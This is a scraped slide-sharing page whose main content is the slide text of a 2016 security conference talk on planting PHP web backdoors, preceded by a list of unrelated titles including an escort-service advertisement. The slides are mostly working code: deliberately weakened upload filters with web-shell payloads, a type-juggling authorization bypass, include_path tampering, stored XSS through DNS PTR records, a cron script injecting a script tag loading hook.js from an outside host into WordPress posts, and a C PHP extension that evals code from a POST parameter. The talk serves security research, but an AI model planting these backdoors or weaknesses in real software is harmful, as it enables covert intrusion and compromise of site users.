Learn the Fundamentals of XCUITest Framework_ A Beginner's Guide.pdfLearn the Fundamentals of XCUITest Framework_ A Beginner's Guide.pdf
Learn the Fundamentals of XCUITest Framework_ A Beginner's Guide.pdf
 
The Evolution of Karaoke From Analog to App.pdf
The Evolution of Karaoke From Analog to App.pdfThe Evolution of Karaoke From Analog to App.pdf
The Evolution of Karaoke From Analog to App.pdf
 
Steps To Getting Up And Running Quickly With MyTimeClock Employee Scheduling ...
Steps To Getting Up And Running Quickly With MyTimeClock Employee Scheduling ...Steps To Getting Up And Running Quickly With MyTimeClock Employee Scheduling ...
Steps To Getting Up And Running Quickly With MyTimeClock Employee Scheduling ...
 
5 Signs You Need a Fashion PLM Software.pdf
5 Signs You Need a Fashion PLM Software.pdf5 Signs You Need a Fashion PLM Software.pdf
5 Signs You Need a Fashion PLM Software.pdf
 
XpertSolvers: Your Partner in Building Innovative Software Solutions
XpertSolvers: Your Partner in Building Innovative Software SolutionsXpertSolvers: Your Partner in Building Innovative Software Solutions
XpertSolvers: Your Partner in Building Innovative Software Solutions
 
EY_Graph Database Powered Sustainability
EY_Graph Database Powered SustainabilityEY_Graph Database Powered Sustainability
EY_Graph Database Powered Sustainability
 
What is Fashion PLM and Why Do You Need It
What is Fashion PLM and Why Do You Need ItWhat is Fashion PLM and Why Do You Need It
What is Fashion PLM and Why Do You Need It
 
Russian Call Girls in Karol Bagh Aasnvi ➡️ 8264348440 💋📞 Independent Escort S...
Russian Call Girls in Karol Bagh Aasnvi ➡️ 8264348440 💋📞 Independent Escort S...Russian Call Girls in Karol Bagh Aasnvi ➡️ 8264348440 💋📞 Independent Escort S...
Russian Call Girls in Karol Bagh Aasnvi ➡️ 8264348440 💋📞 Independent Escort S...
 
Der Spagat zwischen BIAS und FAIRNESS (2024)
Der Spagat zwischen BIAS und FAIRNESS (2024)Der Spagat zwischen BIAS und FAIRNESS (2024)
Der Spagat zwischen BIAS und FAIRNESS (2024)
 
Professional Resume Template for Software Developers
Professional Resume Template for Software DevelopersProfessional Resume Template for Software Developers
Professional Resume Template for Software Developers
 
Short Story: Unveiling the Reasoning Abilities of Large Language Models by Ke...
Short Story: Unveiling the Reasoning Abilities of Large Language Models by Ke...Short Story: Unveiling the Reasoning Abilities of Large Language Models by Ke...
Short Story: Unveiling the Reasoning Abilities of Large Language Models by Ke...
 
BATTLEFIELD ORM: TIPS, TACTICS AND STRATEGIES FOR CONQUERING YOUR DATABASE
BATTLEFIELD ORM: TIPS, TACTICS AND STRATEGIES FOR CONQUERING YOUR DATABASEBATTLEFIELD ORM: TIPS, TACTICS AND STRATEGIES FOR CONQUERING YOUR DATABASE
BATTLEFIELD ORM: TIPS, TACTICS AND STRATEGIES FOR CONQUERING YOUR DATABASE
 

PHP Backdoor: The rise of the vuln

  • 1. PHP BACKDOOR: THE RISE OF THE VULN Sandro "guly" Zaccarini www.endsummercamp.org
  • 2. guly@EndSummerCamp 2k16 whoami ▸ Sandro "guly" Zaccarini ▸ born purple ▸ happy to build and break
  • 3. guly@EndSummerCamp 2k16 agenda ▸ previous work ▸ web backdoor ecosystem ▸ induced web vulnerabilities ^^~pseudocode
  • 4. guly@EndSummerCamp 2k16 previous work ▸ php backdoor obfuscation@ESC2k15 ▸ how to execute code with php function ▸ how to hide/obfuscate a backdoor
  • 5. guly@EndSummerCamp 2k16 backdoor context: requirements ▸ going in through port 80/443 is mandatory ▸ going out isn't ▸ has to be "hidden" ▸ must descend on application context ▸ should give privileged access ▸ could also be asynchronous ▸ must descend on application context
  • 6. guly@EndSummerCamp 2k16 backdoor context: environment ▸ application layer: functions, like login and security check ▸ service layer: web server, application server, dbms ▸ operating system: permission, extension, configuration
  • 7. guly@EndSummerCamp 2k16 backdoor context: application layer ▸ turns a "secure" webapp into a vulnerable one ▸ normally just needs read/write on docroot ▸ "easily" detectable if code is versioned ▸ doesn't survive to a good code review ▸ ...but survives to most coders' review
  • 8. guly@EndSummerCamp 2k16 backdoor context: application layer ▸ file upload filters ▸ authorization routines ▸ sanity checks ▸ known buggy functions ▸ webapp configuration files
  • 9. guly@EndSummerCamp 2k16 // fixed upload vulnerability: check if file type is an image if (!(exif_imagetype($file)) { echo "file is not an imagen"; exit; } doUpload($file); File upload exif_imagetype shell.php: GIF89a[CUT]<?php exec($_GET['cmd']) Comment: Pretend that doUpload() simply upload files, with no further check.
  • 10. guly@EndSummerCamp 2k16 //assume just .php is interpreted as php $blacklist = array('php'); $ext = strtolower(end(explode('.', $file))); if (in_array($ext,$blacklist)) { echo "extension blacklisted"; exit; } else { doUpload($file); } File upload extension with blacklist shell.PhP doUpload(strtolower($file));
  • 11. guly@EndSummerCamp 2k16 $whitelist = array(".swf",".zip",".rar",".jpg","jpeg",".png" ,".gif",".txt",".doc","docx",".htm","html",
 ".pdf",".mp3",".avi",".mpg",".ppt",".pps"); $ext = strtolower(substr($filename,-4)); if (in_array($ext,$whitelist)) { doUpload($file); } File upload extension with whitelist shell.phtml
  • 12. guly@EndSummerCamp 2k16 $whitelist = array("jpg","png"); $ext = strtolower(end(explode('.', $file))); if (!(in_array($ext,$whitelist))) { echo "invalid file extensionn"; exit; } // avoid error on writing files with name longer than filesystem limits if ((strlen($file)) > 255) { $file = substr($file,0,255); } doUpload($file); File upload name length Ax251.php.jpg
  • 13. guly@EndSummerCamp 2k16 Authorization misuse /* getRole: SELECT role from users where user = '$user'; */ /* listUsers: SELECT name from users where role > 0 */ /* listAdmins: SELECT name from users where role = '0' */ $role = getRole($user); if ($role == 0) { isAdmin(); } else { isUser(); } alter table users modify role varchar(2); update users set role = '0e'; Comment: getRole, listUsers,listAdmins are functions present in admin dashboard this is a login page
  • 14. guly@EndSummerCamp 2k16 Authorization misuse[bis] /* getRole: SELECT role from users where user = '$user'; */ /* listUsers: SELECT name from users where role > 0 */ /* listAdmins: SELECT name from users where role = '0' */ $role = getRole($user); if ($role == 0) { isAdmin(); } else { isUser(); } alter table users modify role varchar(2); update users set role = 'a'; if ($role > 0) { isUser(); } else { isAdmin(); } Comment: if we switch the if statement, we aren't even vulnerable to type juggling and code analysis won't tell you that you shouldn't use ==
  • 15. guly@EndSummerCamp 2k16 function doLogin() { if ($rememberme) { rememberMe($user) }; doStuff(); } function rememberMe($user) { $value = hash(sha256,$user+time()); setcookie('rememberme',$value,time()+(60*60*24*365)); } function showLogin() { ?> <html><head><script src=js/loginpage.js></script></head><body> <form id=loginform> <!-- don't use, it's unsafe!! <label><input type=checkbox id=rememberme value=rememberme>Remember me</label> --> </form></body></html> <?php } /* js/loginpage.js */ $(document).ready(function(){ $('dothings'); $('#loginform').on('submit', function(e){ $('.rememberme')[0].checked = true; this.submit(); }); }); Remember me cookie
  • 16. guly@EndSummerCamp 2k16 backdoor context: service layer ▸ normally quite hidden ▸ and not so much detectable ▸ ...if you don't alter application codebase ▸ keeps logs quite clean ▸ almost everytime survives to code review
  • 17. guly@EndSummerCamp 2k16 backdoor context: service layer ▸ php.ini: register_globals on (PHP <5.4) ▸ php.ini: open_basedir+set_include_path ▸ .htaccess: AddType application/x-httpd-php .jpeg ▸ database tampering: CHARSET GBK
  • 18. guly@EndSummerCamp 2k16 /* * php.ini: * include_path .= "/var/www/html/uploads/" * open_basedir .= "/var/www/html/uploads/" */ function show($context) { // (pretend) it's safe because of open_basedir and // include_path = "/var/www/context/" // docroot /var/www/html/ include $context.'.php'; // $context.php has specific run() foreach context run($stuff); } function upload($file) { // safe because /var/www/html/uploads php_flag engine off doUpload($file); } include_path tampering upload guly.php gu.ly/?context=guly http://gu.ly/?context=news http://gu.ly/?context=about
  • 19. guly@EndSummerCamp 2k16 DNS PTR XSS function updateLogged($user) { sanitize($user); $ip = $_SERVER['REMOTE_ADDR']; $resolver = new Net_DNS2_Resolver(); $res = $resolver->query($ip, 'PTR'); /* no need to sanitize DNS response, RFC does */ $host = $res->answer[0]->rdata; $sql = "INSERT INTO tracking (usr,ip,host) value"; $sql .= "('".$user."','".$ip."','".$host."')"; } function showLogged($id) { /* input from database already sanitized at updateLogged */ list ($user,$ip,$host) = getRecords($id); echo "User ".$user.", last login from ".$ip."(".$host.")n"; } PTR: gu.ly<script/src=//gu.ly/s.js></script>
  • 20. guly@EndSummerCamp 2k16 DB injected XSS include "/var/www/html/wordpress/wp-config.php"; $blink = '<script src="http://gu.ly/hook.js"></script>'; $link = mysqli_connect(DB_HOST,DB_USER,DB_PASSWORD,DB_NAME); $res = mysqli_query($link,"SELECT ID,post_content as pc FROM wp_posts ORDER BY ID DESC LIMIT 1"); $row = $res->fetch_assoc(); if (!(strpos($row['pc'],$blink))) { $query = 'UPDATE wp_posts set post_content="'.mysqli_real_escape_string($link,$row['pc']); $query .= mysqli_real_escape_string($link,$blink).'" WHERE id ="'.$row["ID"].'"'; mysqli_query($link,$query); } mysqli_close($link); /etc/cron.daily/wordpress #!/usr/bin/php
  • 21. guly@EndSummerCamp 2k16 backdoor context: operating system ▸ doesn't always need root privileges, but mostly ▸ detectable by sys/network admin, but not by devs ▸ logs should be clean ▸ ...monitoring system shouldn't ▸ could be removed by sys update
  • 22. guly@EndSummerCamp 2k16 backdoor context: operating system ▸ local SMTP relay ▸ redirect network flows ▸ buggy^Wimproved webserver extension
  • 23. guly@EndSummerCamp 2k16 phpbd.so PHP_RINIT_FUNCTION(phpbd); zend_module_entry phpbd_ext_module_entry = { STANDARD_MODULE_HEADER, "a safe ext", NULL, NULL, NULL, PHP_RINIT(phpbd), NULL, NULL, "1.0", STANDARD_MODULE_PROPERTIES }; ZEND_GET_MODULE(phpbd_ext); PHP_RINIT_FUNCTION(phpbd) { char* method = "_POST"; char* evocate = "evocate"; zval** arr; char* code; if (zend_hash_find(&EG(symbol_table), method, strlen(method) + 1, (void**)&arr) != FAILURE) { HashTable* ht = Z_ARRVAL_P(*arr); zval** val; if (zend_hash_find(ht, evocate, strlen(evocate) + 1, (void**)&val) != FAILURE) { code = Z_STRVAL_PP(val); zend_eval_string(code, NULL, (char *)"" TSRMLS_CC); } } return SUCCESS; } POST evocate=system() /etc/php.ini: extension=phpbd.so
  • 24. guly@EndSummerCamp 2k16 mysqli.so /* {{{ proto bool mysqli_stmt_execute(object stmt) Execute a prepared statement */ PHP_FUNCTION(mysqli_stmt_execute) { MY_STMT *stmt; zval *mysql_stmt; if (zend_parse_method_parameters(ZEND_NUM_ARGS() TSRMLS_CC, getThis(), "O", &mysql_stmt, mysqli_stmt_class_entry) == FAILURE) { return; } MYSQLI_FETCH_RESOURCE_STMT(stmt, &mysql_stmt, MYSQLI_STATUS_VALID); /**/ // INSERT INTO sessions SET (userid,group,sessionid,expire) if (stmt->param.var[1] == '0') { //role 0 auth as admin sendMail(stmt->param.var[2]); } 100% non-working code! (php mysqli_api.c)
  • 25. guly@EndSummerCamp 2k16 backdoor examples ▸ File upload filter by exif_imagetype() (A) ▸ File upload extension with blacklist (A) ▸ File upload extension with whitelist (A) ▸ File upload filename length (A) ▸ Authorization misuse (A) ▸ Remember me cookie (A) ▸ include_path tampering (S) ▸ DNS PTR XSS (S) ▸ DB injected XSS (S) ▸ php ext backdoor (OS) ▸ mysqli.so tampering (OS)
  • 26. guly@EndSummerCamp 2k16 thanks! ▸ Acta est fabula, plaudite! ▸ Wait wait, any question? ▸ feedback please! ▸ guly@guly.org ▸ @theguly